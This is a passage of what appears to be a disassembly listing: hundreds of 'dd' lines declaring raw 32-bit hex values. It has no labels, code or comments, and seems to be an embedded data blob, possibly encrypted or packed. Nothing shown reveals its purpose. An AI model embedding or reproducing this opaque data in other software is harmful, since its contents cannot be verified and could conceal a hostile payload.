		dd 0DA691E14h, 80A4267h, 68106DB9h, 8AA7A25h, 811C94Ah
		dd 0A18556Bh, 48086FA9h, 9008A1F1h, 0EAEDDF69h,	5D71CAB9h
		dd 1842773Bh, 107696E4h, 8E73F611h, 56780DE1h, 0A66D0844h
		dd 8265AC10h, 86B5F8DDh, 610DE108h, 34112AC9h, 4C104308h
		dd 78610A86h, 8E80C65h,	65948848h, 45F89D08h, 0B14A0473h
		dd 57F814C1h, 9411BE08h, 4F5C5608h, 106FD90Ah, 1037D8ABh
		dd 0EA6573E4h, 9D11D896h, 102F4833h, 5CD72B67h,	141252C4h
		dd 5FBCF5F1h, 0C55A1252h, 6D20FE10h, 45053C11h,	8C7A208h
		dd 0A4656146h, 8908246Ch, 7485F78Fh, 0B108530Ch, 4979F5B3h
		dd 75E00314h, 111466E3h, 96107A6Eh, 9F060EB5h, 0F98C8E10h
		dd 95782A36h, 5E6BB154h, 481CE84Ch, 268423EFh, 8729549h
		dd 0AB798550h, 1035BD08h, 10519094h, 40CFD080h,	705375D0h
		dd 6B14560Ch, 28C54256h, 5C691008h, 6EAA3845h, 1049E108h
		dd 8089131h, 0ECE8BE65h, 35AA7210h, 69100808h, 0E52030FEh
		dd 66530C86h, 45104608h, 71016EFh, 6E1193FBh, 845CCBDh
		dd 0F45032C2h, 529088Bh, 45B80873h, 91696C18h, 6410B22Ah
		dd 1041929Bh, 0DADC3DF4h, 75B40519h, 7994341Eh,	74AA9E10h
		dd 3D9C7AFEh, 0C62B106Dh, 2BF1693Fh, 5EE634EFh,	254CFE1Ch
		dd 0F07910DAh, 0A190D3ADh, 1A10340Ch, 0F35ED37Ch, 1836104Dh
		dd 9F68E745h, 0DEBE0845h, 0C43A0851h, 6D184AF2h, 0A112AE78h
		dd 9BEA2DFEh, 5E383556h, 10AFA399h, 5B6C5C05h, 32C79C08h
		dd 14A43331h, 4D7AAC6Eh, 7618D9C8h, 6E84C93Fh, 28A100DDh
		dd 78B2BA0Ch, 28567311h, 81CC7D49h, 89C1C84h, 0D736106Dh
		dd 100D0841h, 667F7009h, 85B711A9h, 83773EFh, 5C679E08h
		dd 53AE2165h, 18353423h, 1094F989h, 10D37866h, 0ECD608DAh
		dd 0CE0C9178h, 2A089569h, 9BC2C65h, 52A79421h, 879536Ch
		dd 2C091B51h, 676FD48Ah, 6E214D08h, 0C42B0CAh, 8B8A375Fh
		dd 499D056Ch, 0A9FE640Fh, 0C0B78A08h, 0BE5464B6h, 3D1E91Ch
		dd 0B2340821h, 729EF5Eh, 0C2F90822h, 0ECEB6319h, 34846563h
		dd 82A9A97h, 67961048h,	6D9F62ECh, 542114F3h, 8311834h
		dd 3B0D7472h, 5B085F51h, 0C01940E5h, 392D19ADh,	6B8E9410h
		dd 4B245860h, 186B4BA7h, 0EB3FC05Bh, 7E92096Ch,	26BAC8C4h
		dd 0BC4C22B6h, 6880299Dh, 0FF08A00Ch, 0D94B5C36h, 7BE66F1Eh
		dd 0A7F01168h, 1939AB0Dh, 0EE38150Ch, 100DDC69h, 0D86E180Dh
		dd 20BC6784h, 8B21468h,	4201B378h, 21DC0B21h, 24C81248h
		dd 85201B72h, 0CC27185Ch, 25DF9C24h, 6877ACE1h,	700F46B3h
		dd 0EA2F0EADh, 73E38BA4h, 0D3FB38C4h, 9FC9AE25h, 10190E19h
		dd 7898443Bh, 0A6A8F830h, 336C3813h, 12F0E1DFh,	65197408h
		dd 14DE1AC6h, 300420A0h, 64336E77h, 9FD1E85Dh, 0D2D9943Ah
		dd 2744D927h, 0C9AD08FBh, 99FE6998h, 3B196B08h,	66623422h
		dd 9C4D7EB4h, 8779548h,	4D701043h, 964C3D70h, 7F9AA54Bh
		dd 0C0A8EC7h, 12311ACEh, 2112D510h, 1C060B12h, 88A1763h
		dd 8E890FCh, 9A175834h,	6F22D9FBh, 7A1374B7h, 28C8BA78h
		dd 9508A679h, 7A271B53h, 0DA49F184h, 6664CA8Ah,	0AC95B43Ch
		dd 41B8537Ah, 4BA52A5Ch, 5BD0E22Ah, 5984A435h, 0A59324EDh
		dd 5C635B2h, 76F4AC0Bh,	844A6C42h, 14171CCFh, 41D90830h
		dd 0B44A2A2Dh, 0B480C6Ch, 8D0915CEh, 7AE90C4Eh,	6264323Bh
		dd 6149F87Eh, 0EB357316h, 72BBF204h, 5CCC6BB0h,	379C3891h
		dd 8F84902Ah, 0A1305B95h, 3619B5C0h, 2830A0Eh, 0E2105Fh
		dd 0D3691FD2h, 88886736h, 0C940CC3Dh, 9DFC7A70h, 0D94D1AD4h
		dd 6773119Ch, 6B69ECC9h, 1A993527h, 0E8640E69h,	0D0502D64h
		dd 0D357618Ah, 0B66C21C9h, 794B39EFh, 41344E55h, 117C168Dh
		dd 44F6644Bh, 0A4777A71h, 55108208h, 5F38A747h,	0C908FF3h
		dd 0E9354A70h, 9368AA9h, 4BEEF56Bh, 700C4AE1h, 0B8082187h
		dd 0E18C7046h, 0F89BC219h, 10F5195Ah, 0B2EF1004h, 0FC645B92h
		dd 0BD2C0C2Dh, 4E3C752Ch, 50D8FCBDh, 3B94FFD2h,	0BBAC35BFh
		dd 45533120h, 0E7567352h, 0E8ECDFC2h, 414210C0h, 41554B43h
		dd 7F0EBC50h, 36BDD69Fh, 0B397302Ah, 774F8188h,	0ADE153Ch
		dd 25334E57h, 0EE4D3461h, 49461C81h, 5770EB4Ch,	50D7D895h
		dd 15421044h, 7C48544Fh, 345D2F59h, 4C55460Ah, 570D3873h
		dd 19E4952h, 0EA414874h, 50E3088Ch, 0FCAF18A3h,	4F2A57D4h
		dd 84C23C52h, 874E494Dh, 781A4F4Ch, 8155478Ah, 4A28E2C9h
		dd 33334A84h, 792E9624h, 6CA5E752h, 0D74B4071h,	2CAB5BA9h
		dd 975096DDh, 0AC738189h, 4F7C99A5h, 0B9E4D42Fh, 18448A58h
		dd 610C2D5Bh, 1E24FDF1h, 0DE2F311Ch, 0B432E9A4h, 0B1C45A5Dh
		dd 0BBB7B478h, 28AF0495h, 8C9E74ACh, 0F26CF2A7h, 79645075h
		dd 0AF1C936Fh, 24E86C74h, 9B95FC3Ah, 0A3484FE8h, 443D46E5h
		dd 0ACAD7308h, 7BCD0CA1h, 651D1C0Fh, 0CF106975h, 0DB206F2Ah
		dd 0C1F42059h, 362E3120h, 81C739C9h, 0F590402Ah, 657E7E6Dh
		dd 30262860h, 0EF202962h, 1ED1FFCAh, 0BA6DBF3Eh, 0EF6C3F64h
		dd 3FBB2E22h, 0FE157D25h, 6FDED62Fh, 675F7929h,	0FE506804h
		dd 4B405256h, 9814F6B5h, 0D1A9F2FBh, 2542AB8Ch,	743FAE4Fh
		dd 0ABF45047h, 4791FCECh, 0EAD9190h, 88A64F40h,	41F09147h
		dd 463F2F56h, 0C34CB57h, 5442973Eh, 4B4408A9h, 6B8C878Ch
		dd 34365362h, 4A45424Ch, 7E452DAAh, 0AF9327ECh,	0B5199BD6h
		dd 40239DD4h, 0D3F377F2h, 0D93A7FA5h, 0C5C47AFFh, 0FF0A0D14h
		dd 0A5996DA5h, 443A0530h, 0FA8CD911h, 84850B93h, 3FE2C6DEh
		dd 41E10F8Ch, 614F482Fh, 1E111978h, 17BF9778h, 635EAF6h
		dd 9116F2ABh, 0B27EFD34h, 34FE977Ah, 7FF224D7h,	0A92A2434h
		dd 0FD51D2EBh, 277A3779h, 0A7FF7962h, 6A3E218Eh, 0AE754029h
		dd 0D240A1C2h, 21987955h, 593A01CBh, 2127756Fh,	1EA82AB4h
		dd 2E82D891h, 24B60A0Dh, 5BAD2AF7h, 1E48064Ch, 0ADF855Fh
		dd 0E84C2EBDh, 907E142Ah, 575225ABh, 54FF7ACBh,	1A651F69h
		dd 154692CAh, 3ADFCBC8h, 24067196h, 740E3332h, 9136FADCh
		dd 0D248A57Fh, 0A7794CFFh, 61953FAFh, 40424774h, 0BAA2FBF4h
		dd 75AAC34Ch, 0BA2C7658h, 0FBE44C42h, 78B6E3B6h, 94DE7076h
		dd 7DFE635Eh, 8F93BE1h,	7A24EE97h, 1796E42Bh, 6077EEA1h
		dd 137A6766h, 5495551h,	2D723ACCh, 2ACC4414h, 69448244h
		dd 0D0459C73h, 0B1D64802h, 42491B4Ah, 912D4D18h, 0A83EE954h
		dd 0A03A8A2Ah, 40975A5h, 515DF39Ah, 3A772560h, 7024C5F4h
		dd 2DAC4449h, 7D2B2C87h, 0A454AA29h, 72A8A53Eh,	4C144C1Dh
		dd 0BDFDA63Ch, 0AC3FCC62h, 6812D5A5h, 54AC7208h, 0A8857A92h
		dd 455EA97Ah, 994273A0h, 8A79F6A8h, 5A0C651Ah, 9F1DCCFDh
		dd 0C83FC476h, 344AAABCh, 8A2B2469h, 10FBB480h,	0B195858Ch
		dd 0D784967Fh, 87DC0029h, 4E774950h, 277FA567h,	0B4725489h
		dd 41713C85h, 0F4B0ED2Ah, 9BE400A7h, 822C43C1h,	45646D63h
		dd 4974E718h, 9538C475h, 3D5209DEh, 347D2534h, 42725216h
		dd 29FB70D0h, 3F52D961h, 65470DD8h, 82B93EE6h, 2DC544D4h
		dd 8510755Bh, 5D40A01Eh, 92802D57h, 5A66DDEFh, 4B2191DDh
		dd 0AD639BFh, 3074F440h, 2DB52124h, 0F9B5780Fh,	0D69F7F89h
		dd 804653D6h, 2144ECB8h, 0D1F6534Eh, 6AF9B861h,	8A9256ACh
		dd 4C0BED5Ch, 0A3CFAA96h, 2904DBB5h, 22779C66h,	0FEF8944Ch
		dd 552056B5h, 65F254A3h
		dd 0BCBEC9BAh, 488C5EB5h, 0C22D55D6h, 0AE71DD33h, 0F274FE2Fh
		dd 0A7484C15h, 55ADC721h, 0DC1E6F12h, 749572A6h, 0AE6144B5h
		dd 79D563E1h, 7AB4B96Bh, 3EB7B7BCh, 29E45579h, 0ED3356B5h
		dd 0C0F92A1Eh, 70452369h, 9EFCC8AEh, 0CA125A45h, 6854F155h
		dd 4A5FF438h, 8B646686h, 6C102B3Ah, 0BC3F2D37h,	3487D6A0h
		dd 5A5249F0h, 77F00943h, 0BF25C81Dh, 88292FB8h,	3433E5FFh
		dd 0E9F8B27Dh, 648A7A78h, 4E0BD538h, 8CAEEC6Fh,	0C569520h
		dd 25553CE8h, 3AB21975h, 288BB723h, 89B558CCh, 0F324EC2Fh
		dd 8AF6572Bh, 950E354h,	7869667Eh, 9FDD23Eh, 0A2A45069h
		dd 2E6F4A05h, 0E84A662Ch, 74265538h, 0E92E684Dh, 0C9FD301h
		dd 8BBE64D3h, 0E538D072h, 9E6A13C4h, 3239EE4Bh,	91EBB92Ah
		dd 0AC3AED3Ch, 6AC8978Dh, 0D3E692Dh, 5FDA58C7h,	2AA36CD3h
		dd 17A7E621h, 2B2DED4Ch, 0F9641232h, 7C1F7AA4h,	1DC442EBh
		dd 0F3804848h, 0B5A07752h, 7CA7E624h, 0AB89EAD2h, 64E10863h
		dd 973EC663h, 77AEBFD4h, 0EDD3545Ah, 96681F74h,	902B6D94h
		dd 2BA4D54Bh, 36EE4BF9h, 7452D232h, 302EB490h, 55696F7Bh
		dd 626FD3FCh, 24D12EC9h, 735F8954h, 2AE4EC32h, 68FF4B2Ch
		dd 68F9740Bh, 0DC68A953h, 0CB613FAAh, 347A35EBh, 46742AE2h
		dd 0B6BEE434h, 0A2004840h, 0A770BF72h, 26898889h, 454B0467h
		dd 4E7DC98Ch, 9778EAD9h, 59F32E72h, 0B3BD2F3Eh,	701D849Ah
		dd 598A2CC4h, 78E9E442h, 4FE8D0F0h, 0AC2E0CC4h,	3680BBD2h
		dd 9E67736Dh, 5730488Fh, 0F9827727h, 2F966E6Fh,	8F103F9Dh
		dd 60B76379h, 52415058h, 0C9CC179Dh, 5C3A42FFh,	1C74DA8Dh
		dd 41FB3CC8h, 2A3E8CB8h, 77611217h, 0C24B9DFAh,	6E683095h
		dd 6CC83121h, 96FE3868h, 5A3848EEh, 57C9E874h, 0F727CCF1h
		dd 0CC74169Ah, 15E9FCE8h, 64FC6BA0h, 5DC96F26h,	697D606Ch
		dd 6D4F3499h, 2F2F186Ch, 9248909Ch, 0E14DC2Dh, 0BF4E347Eh
		dd 0D1A89754h, 74BE4BBBh, 756C782Fh, 0A5A4DC97h, 44B0FC7h
		dd 0E1D27540h, 624B4262h, 1DF075D1h, 48C27EB5h,	3AF72DB8h
		dd 2E0FD3FCh, 5815525Fh, 0A7134F4Bh, 45A5CD73h,	50177290h
		dd 0D1404494h, 4A214386h, 2EB69CBFh, 10D3F8A6h,	69F899FEh
		dd 63D5B764h, 2C91E9DEh, 906D2DFDh, 0F6977B1Ch,	77E06DE7h
		dd 0F4CAF5D4h, 0BFE512A5h, 695A41CAh, 5A380E6Dh, 0B34C53BBh
		dd 0B8AFB4B9h, 88B5DE0Bh, 0C96ABA2Dh, 72E92BE2h, 554C308Ah
		dd 1A52A2A9h, 7645D654h, 3CC84C8Fh, 3A589B2Ah, 8BCDD654h
		dd 969AF3E2h, 4BC83A2Eh, 25D1BF9Fh, 0D0182A5Fh,	0A86ABD4Ch
		dd 363D5EE1h, 0B69B80A0h, 0F817EB6Dh, 70627FA5h, 17521C97h
		dd 4E1C2B4Ch, 5A1F3EB2h, 57795C6Ch, 1FE98F6Eh, 0AB8F904Ch
		dd 74D3D046h, 5B917F77h, 0AF729BBh, 543BF494h, 55A0E24Dh
		dd 0FC974C52h, 0D845694Dh, 1A6E5FCBh, 0B5A23FBDh, 6FB6AF4Fh
		dd 0C2542AE4h, 0BA504354h, 0B2F15D1Bh, 2E795D49h, 2D6ADC6Dh
		dd 0A588696Dh, 4A02F6AFh, 2EB529CAh, 0EC50D034h, 456F5650h
		dd 3A2AD84Ah, 95281E97h, 257F2693h, 496D2825h, 369B5B47h
		dd 3EDABD5Dh, 10225C5Bh, 101B2A68h, 43410160h, 4F492554h
		dd 0E652FFAFh, 684AF9F4h, 0A8F4ADE4h, 9F19A445h, 0F7560DCAh
		dd 0E5DAD35Eh, 0EF3E2BCDh, 0AF53169Ch, 55748392h, 2ADEC612h
		dd 0D6CC7369h, 491E89E7h, 9CED7750h, 97544CA1h,	0B70B4EBAh
		dd 85BD6E75h, 1A5CA4A0h, 8950A86Fh, 0D2567953h,	641708DAh
		dd 0B4082E70h, 555E4C2Ah, 0BBD333B0h, 0FF4A05CAh, 0C863F5CEh
		dd 0ECB47A69h, 0BC44C94Eh, 0FE03D349h, 0A5ABEA85h, 4EF038A0h
		dd 27E029AAh, 0E5BFDAB4h, 4C857E58h, 77D2C168h,	1A6D8D79h
		dd 0AF93BE0Ah, 0C01B548Dh, 278C9A4Bh, 48673F63h, 0B4AFF64Ch
		dd 204C1572h, 3A5797DFh, 0F1515308h, 3B72E54Eh,	66531C88h
		dd 0FE665870h, 0FDF2F087h, 9534D809h, 74D1CC9Ch, 55123C5Eh
		dd 2FB59D70h, 489D2A74h, 91BBF96Ah, 0A270BE40h,	7BD37A2Ch
		dd 69CDB62Dh, 8AFC795Dh, 72040A0Dh, 14428857h, 65796285h
		dd 0F161AEE4h, 69ECCC2Ah, 0D9BF05D6h, 96801FC5h, 95FE8AFEh
		dd 3E7C4540h, 379F44A2h, 0EB68D546h, 0C370F24h,	0F093C5Dh
		dd 3531B887h, 0E134352Ch, 0C067E392h, 32F832A2h, 12F52825h
		dd 180E0D1Eh, 7B5143EAh, 164B83D5h, 3BA16DAFh, 0B1D23CF9h
		dd 24168D35h, 4A7FFA72h, 253B0AC8h, 0ACE96332h,	0AE42EA0Ah
		dd 690E2C08h, 0F8BA7474h, 50FB755Ah, 259FACD4h,	7CE8DBBh
		dd 5FE02E7Eh, 0FB2DA4A5h, 0E06E3EA1h, 5294C913h, 0B37F66F5h
		dd 8567CB58h, 37C81424h, 210CA766h, 86532821h, 0D035B214h
		dd 33B40C3Eh, 92E77640h, 6C772E6Eh, 695CBEBDh, 0C6850DEh
		dd 52D05ECBh, 6D701022h, 1B950C96h, 5F215EB0h, 853BDC4h
		dd 2FDC664Ah, 178C5BB7h, 6F2EA02Eh, 0BAA510A7h,	6B160F9Fh
		dd 591CD431h, 5B00222Eh, 738278EDh, 0D45D3179h,	52ACE83Ch
		dd 9620E6Ah, 17CA0812h,	0A4F082Dh, 4AC54690h, 847B2099h
		dd 11EC75A1h, 0FB920887h, 0DB624D23h, 763C2978h, 0E9721608h
		dd 7B0C9036h, 1CBC1CA6h, 427294C8h, 8CA87D39h, 0BE057210h
		dd 0DEEC677Ah, 159708B5h, 72C40852h, 0ECF76570h, 8462C57h
		dd 6ACA6853h, 7450CB08h, 0FA97148Ch, 3C0C85ECh,	6D456B21h
		dd 22AC0864h, 72141446h, 18A62C61h, 2B807757h, 0D32D086Dh
		dd 2B0C2008h, 25087963h, 141902C2h, 8B2F661h, 0BC99E2B2h
		dd 5D084D6Dh, 1A2017DAh, 27456A28h, 10A2B7D3h, 8686729h
		dd 9B1EE6A5h, 43D66998h, 0C9EF4727h, 2EBAB1F7h,	0AD30BDC2h
		dd 626D7841h, 0BC3E965Fh, 0BEA43442h, 3A9689E2h, 0E53046ACh
		dd 456CB7EAh, 4FA66B98h, 0BFB43C47h, 6DD121E2h,	42EE3490h
		dd 16A8DF71h, 0FEA046BDh, 3A708974h, 4CD98CF8h,	5495EE6Fh
		dd 4046D569h, 34218A8Fh, 23FB8DD6h, 3FFCDA38h, 0D5F9D7F2h
		dd 0EF627DC9h, 0CE6DD1DDh, 264C6696h, 5FC91893h, 0EA29E6D9h
		dd 0F42E4359h, 3AF17667h, 8E5BF58Ah, 0B93C9064h, 0AE4E390Ah
		dd 16BB3834h, 0D16DE373h, 98B7DE17h, 501F7C9Dh,	9A2E8AD6h
		dd 7E08F949h, 0CEC9A08Fh, 0B75186C7h, 3F5AC8FCh, 0C4652F44h
		dd 2BB092E9h, 72B4392Ch, 35D0E5EAh, 7074FF54h, 0F2111016h
		dd 0DE648908h, 0A1094828h, 6C66881Ch, 0DB2530C8h, 869AD44h
		dd 89AEA67h, 0A420AF08h, 3508A398h, 3B2CD924h, 481D29A1h
		dd 0B545563Ah, 1024A18Ah, 6E70143Eh, 0B299A08h,	16628B1Ch
		dd 0AC647D88h, 76734308h, 7439C2FBh, 0B8421B2Dh, 2708EBDCh
		dd 0CD3C2408h, 7A081998h, 0F82D0A56h, 0B6E49C28h, 2B104774h
		dd 750A0871h, 0BBADD469h, 0C4042AAh, 6046A4D1h,	808722Bh
		dd 70637761h, 94648474h, 6A246209h, 16B2E23Ah, 859FF98h
		dd 0B56A7B09h, 0B9A8A514h, 73F56D58h, 254DFBC6h, 66F8009Ch
		dd 0DFDA109Ch, 24D12DFAh, 1AAED610h, 20144357h,	0D0CB4695h
		dd 0EC975424h, 4E60479Eh, 24A7D2D9h, 22662831h,	4A0C465Ah
		dd 104785B6h, 4379B85Ah, 5B20DA1Ch, 63678810h, 58AFF4CAh
		dd 0DF704FFBh, 0D5AA93A0h, 383E9E4Ch, 36BB4F2Eh, 3C301054h
		dd 79742645h, 1C42973Eh, 0D37D2812h, 0B5482058h, 5BE0C078h
		dd 444D430Dh, 0CF2BF15Dh, 0D6F8528Ah, 0A9359DE5h, 9970100Eh
		dd 261FED0Ch, 946C268Ch, 0B7B854CBh, 0CF245A19h, 82F1092h
		dd 0F85E59D3h, 85483266h, 8647075h, 0F0DDFD12h,	0C03373EDh
		dd 0E1C4E49Eh, 49673362h
		dd 30C3F708h, 732831FDh, 79E11969h, 1B52ABEAh, 0E0CBD5D8h
		dd 544D1445h, 0BF53A44h, 876F0C19h, 0A76F75C6h,	19F37E1Ch
		dd 54B324A5h, 64BA75CCh, 7F908A10h, 0D4E99C99h,	0B2AC5DD8h
		dd 926C4173h, 0F2FEC4DBh, 98A79661h, 512E16F4h,	64D63150h
		dd 77FA0940h, 5D69F8B9h, 1964E1BCh, 9778244Ah, 0FE29AF7h
		dd 7233610Ch, 1EC2316Dh, 0CED489BDh, 22A1F160h,	20962608h
		dd 0B5C9B1Bh, 1C4C3468h, 967312CFh, 295A7CCAh, 0B14BEB84h
		dd 976E3B8Fh, 703ABD12h, 595AA8B6h, 0AE103615h,	0E38BFB92h
		dd 2E240245h, 720236EAh, 7770E9B7h, 0F57F284Ah,	28D01A6Ch
		dd 2C0E43CAh, 0A2E45B20h, 0C109240h, 102D920Dh,	0D5071C0Dh
		dd 649B11FBh, 0AC7E4DFFh, 52D43DE6h, 67D2651Bh,	0EA505A4Bh
		dd 2DA5D3F1h, 448C8094h, 70817565h, 44558160h, 0B627AC50h
		dd 0F0455288h, 797CA522h, 3D286E52h, 398F7953h,	0ED282268h
		dd 0D224A39Ch, 297D449Ch, 24E87853h, 9A2DA8C8h,	28C10863h
		dd 0ADF947A7h, 0D021889Dh, 3B0E6C1Ah, 0BA9485CFh, 0A35829EFh
		dd 862CCABCh, 0C7D9A35h, 7209A865h, 104FE1B4h, 60901EF4h
		dd 741525A4h, 0BD9E5308h, 0B43424EEh, 0A866F75Ah, 42EF2C86h
		dd 2C9A341Dh, 29341431h, 2465B428h, 0C0697CCAh,	75F45896h
		dd 6491B89Bh, 527853D2h, 72688C5Bh, 222919F9h, 0E24CAFD7h
		dd 0BF245129h, 442879E1h, 10612608h, 95A4394h, 0C5791B1Ch
		dd 0BA7811B6h, 0E571F939h, 5F2D0402h, 3BE12846h, 0A15F04F2h
		dd 4C9F2ADBh, 3D92438Dh, 62F8D39Ch, 0AD03175Bh,	0EC21DBE3h
		dd 0A5929ABh, 74EAB444h, 9264AFB0h, 4AF3F7EBh, 89A6D0F3h
		dd 0B495BFB5h, 0FC2BEFA8h, 94A9D091h, 0F07D6D5Eh, 52414843h
		dd 6BB98454h, 0E6D220ACh, 31C95B1Eh, 51091A5Dh,	0A8A51C5Bh
		dd 0F34FFBBFh, 500187B0h, 1547CDAFh, 0A26C5EE2h, 749ABD0Dh
		dd 4E06F875h, 7622D26Ah, 34327975h, 9113AFBBh, 1B2ECFDh
		dd 533D05DFh, 3F4660A8h, 0FD11AC70h, 5EED0426h,	1CEB4F4Eh
		dd 0ED542827h, 4C23BE2Eh, 0D7328A33h, 0FDC9741Fh, 1F5F7662h
		dd 0C3C8EAECh, 0AA943533h, 78122424h, 297FAAF1h, 0EC9E6A50h
		dd 0A4FC95Fh, 932BE494h, 4C4B5670h, 638CE75Ah, 73333419h
		dd 323025E8h, 0FBCBB051h, 0D54F1FACh, 9F950D47h, 8F636DCh
		dd 24753020h, 191B70C0h, 12A409B4h, 48882494h, 226C9178h
		dd 4050445Ch, 24123089h, 4481424h, 116FF488h, 44E022ECh
		dd 0B489C4D4h, 0A089A81Ch, 84399412h, 478E741Ch, 44542264h
		dd 30893C48h, 18242412h, 0FC880848h, 22F0116Eh,	0C8D844E4h
		dd 0A812B889h, 94489C24h, 7C228891h, 89606C44h,	39481254h
		dd 24281238h, 9110481Ch, 6DF41104h, 0D091E488h,	0B047BC22h
		dd 9444A422h, 12748980h, 485C2468h, 2240914Ch, 1420442Ch
		dd 0F8110489h, 24E8026Ch, 91CC48D8h, 44B822C4h,	9889A0ACh
		dd 7C248C12h, 6444E25Fh, 1250895Ch, 72302440h, 48142424h
		dd 6BF88804h, 0DC22EC11h, 89C4D044h, 24AC12B8h,	9190489Ch
		dd 44702278h, 44895060h, 30243C12h, 14912048h, 22D24C41h
		dd 0E8066AF8h, 0C8D84409h, 0B012BC89h, 9448A024h, 80228891h
		dd 89647044h, 24481254h, 91284838h, 0E110221Ch,	0B269F411h
		dd 24E00999h, 91C448D4h, 44A422B4h, 74898494h, 50246812h
		dd 34914048h, 18442822h, 68FC880Ch, 0E412F081h,	0CC48D824h
		dd 0B022C091h, 898CA044h, 24741280h, 91544860h,	4440224Ch
		dd 14892834h, 0F4880817h, 22E81167h, 0C4D044DCh, 0AC12B889h
		dd 9048A024h, 7C228891h, 89586C44h, 2440124Ch, 91204830h
		dd 20082214h, 0F04466FCh, 12D889E4h, 48BC24CCh,	22A491B0h
		dd 78844494h, 581C6889h, 40124C89h, 20483024h, 8221491h
		dd 4465F820h, 0D489E0ECh, 0BC24C812h, 0A491B048h, 8C449822h
		dd 12748980h, 485C2468h, 223C9150h, 101C4428h, 0E844848Bh
		dd 91CC0864h, 44A022B0h, 68897888h, 4C245C12h, 30914048h
		dd 14442422h, 63F08804h, 0D812E481h, 0C048CC24h, 0A448B4E4h
		dd 8C229891h, 89707C44h, 24501260h, 0E4344844h,	91184828h
		dd 36042210h, 9A962F8h,	89C8D444h, 24B012BCh, 919848A4h
		dd 4480228Ch, 54896474h, 3C244812h, 24913048h, 0C451822h
		dd 61F423C2h, 0D809A164h, 0BC91CC48h, 0A044AC22h, 12848994h
		dd 48682474h, 224C915Ch, 28304440h, 0F8110C89h,	24E80260h
		dd 91CC48D8h, 44A422B0h, 80898C98h, 68247412h, 50915C48h
		dd 30444022h, 12148920h, 5FFC2208h, 0D448EC04h,	0B822C891h
		dd 89A0AC44h, 24881294h, 9158487Ch, 442C2248h, 0F8880818h
		dd 979D95Eh, 24D012DCh,	91B048C0h, 449822A8h, 74897C8Ch
		dd 54396412h, 3C244812h, 20913048h, 4441022h, 0E85D40F8h
		dd 0CC12D889h, 0AC72C024h, 88489424h, 70227C91h, 89546444h
		dd 24381244h, 91144828h, 5CF41004h, 0D444E422h,	12B489C4h
		dd 489824A4h, 2280918Ch, 58644470h, 40125089h, 20483024h
		dd 4221491h, 445BF820h,	0C889D8ECh, 0A824B812h,	90919C48h
		dd 74448022h, 12588968h, 482C2444h, 100C9118h, 0F0225AFCh
		dd 89D8E444h, 24BC12CCh, 91A448B0h, 448C2298h, 64897078h
		dd 4C245812h, 34914048h, 18442422h, 59FC8808h, 0C822A1DDh
		dd 0C491D409h, 0A844B422h, 12888998h, 486C247Ch, 22549160h
		dd 34404448h, 1C122889h, 4481024h, 1158F888h, 44E422ECh
		dd 0C089CCD8h, 9C24B012h, 78918048h, 60446822h,	1244894Ch
		dd 482C2434h, 22189124h, 0F411E10Ch, 9A1B257h, 48D424E0h
		dd 22B891C8h, 94A044ACh, 7C128889h, 64486C24h, 48225891h
		dd 89303C44h, 24181220h, 56F84608h, 916E9A1h, 89ACBC44h
		dd 249412A0h, 91784888h, 4460226Ch, 3C894854h, 28243012h
		dd 18912048h, 11E10C22h, 0E80255F4h, 0D048DC24h, 0B822C491h
		dd 899CA844h, 2480128Ch, 91604870h, 44482254h, 20892C3Ch
		dd 8391412h, 254FC11h, 48E024ECh, 22C891D4h, 0A0AC44B8h
		dd 88129489h, 6C487C24h, 40225091h, 89243044h, 2E0C1218h
		dd 53F41B11h, 225EA491h, 440916F9h, 90899CA8h, 74248412h
		dd 54916448h, 3C444422h, 1220892Ch, 44042410h, 0E80852F4h
		dd 0C422D491h, 89A8B444h, 248C129Ch, 91744880h,	44582264h
		dd 2C893848h, 10242012h, 0F020225Ch, 0D0E04451h, 0B012C089h
		dd 9448A024h, 80228891h, 89687444h, 244C125Ch, 91284840h
		dd 200C2218h, 0EC4450F8h, 12CC89DCh, 48B424C0h,	229891A8h
		dd 68744488h, 0F8175C89h, 34224491h, 891C2844h,	22041210h
		dd 0E8044FF4h, 698ED848h, 35722131h, 75CA6E34h,	0C255E83Ah
		dd 640D3858h, 0D93AE533h, 72100837h, 38380BA5h,	970DD273h
		dd 79644EBEh, 199B0D54h, 310C6942h, 6F4D2A53h, 0AC5058FCh
		dd 9D627134h, 0F22EE71h, 1CAD504Eh, 0C323315h, 63886D3Ch
		dd 7BE96276h, 252421E0h, 4184F376h, 89EE4556h, 46450C43h
		dd 47412D09h, 0E18F554Fh, 2A5845E7h, 49480454h,	3287AB4Ah
		dd 0A4530EFCh, 605F6212h, 1D9A4D50h, 1A430C07h,	0C6425318h
		dd 4F5A0F0Ch, 4CDC1F4Eh, 9B285295h, 951E7D21h, 3153BA78h
		dd 0AE987E20h, 8BDA5095h, 50181E0Dh, 781E3653h,	411E3056h
		dd 4F52FC20h, 0DE800DA6h, 30723246h, 1CAC4EF8h,	8F59572Fh
		dd 7CB0DD81h, 7946534Bh, 71FFF749h, 0CE1BABB2h,	0B5445286h
		dd 0C66D0C90h, 53341C4Eh
		dd 21474234h, 30872824h, 9A3374AEh, 6A645519h, 54EE1884h
		dd 28D108A6h, 554BC638h, 0F4E52C8h, 0AD12DA7Ch,	12854633h
		dd 4BDB0A10h, 0B52C23F2h, 6CB5AF20h, 1046C70Ah,	30912043h
		dd 56A20EE4h, 5B410B4h,	394F43CEh, 52632010h, 0FBB830A7h
		dd 19D34EA6h, 1875F1BEh, 4F3E4C68h, 9938D347h, 0B6F65405h
		dd 0FD2C8C10h, 1C448B94h, 544FC7B7h, 19A32953h,	56DAA560h
		dd 0D0EC5653h, 28552B89h, 182818B4h, 5542122Dh,	0E9895F47h
		dd 7F4D9C1Ch, 0EBB44EA9h, 0A1284DFEh, 8AEF31B0h, 4D4D4750h
		dd 46A75767h, 9A3539A2h, 565E910Ch, 4878304Bh, 0FC519C42h
		dd 18AC4C09h, 4E3D3E22h, 7ED41C52h, 0A0385629h,	47AE8154h
		dd 0AE391C5Ch, 796D680h, 0EA384D6Bh, 0D956C718h, 0B0544612h
		dd 10A27C21h, 0FAC54E2h, 78DF1084h, 0B34A30E9h,	242C56B9h
		dd 525B8D4Dh, 19DB6F18h, 0AB0CDD4h, 13482434h, 0C62154D3h
		dd 347B9B4Dh, 95A71F18h, 269F3844h, 36550FC5h, 44CC09B3h
		dd 0E858EB88h, 0E3494E2h, 0FB3E1193h, 0A42C5929h, 29CB20F4h
		dd 8A185330h, 0CC5D3443h, 99853319h, 0C7301B4Eh, 86787495h
		dd 33529807h, 1D14D310h, 444D14B2h, 7E2493FEh, 39652CDBh
		dd 69991F2Dh, 3946C5C4h, 1442F3D3h, 9419DA89h, 140C82ABh
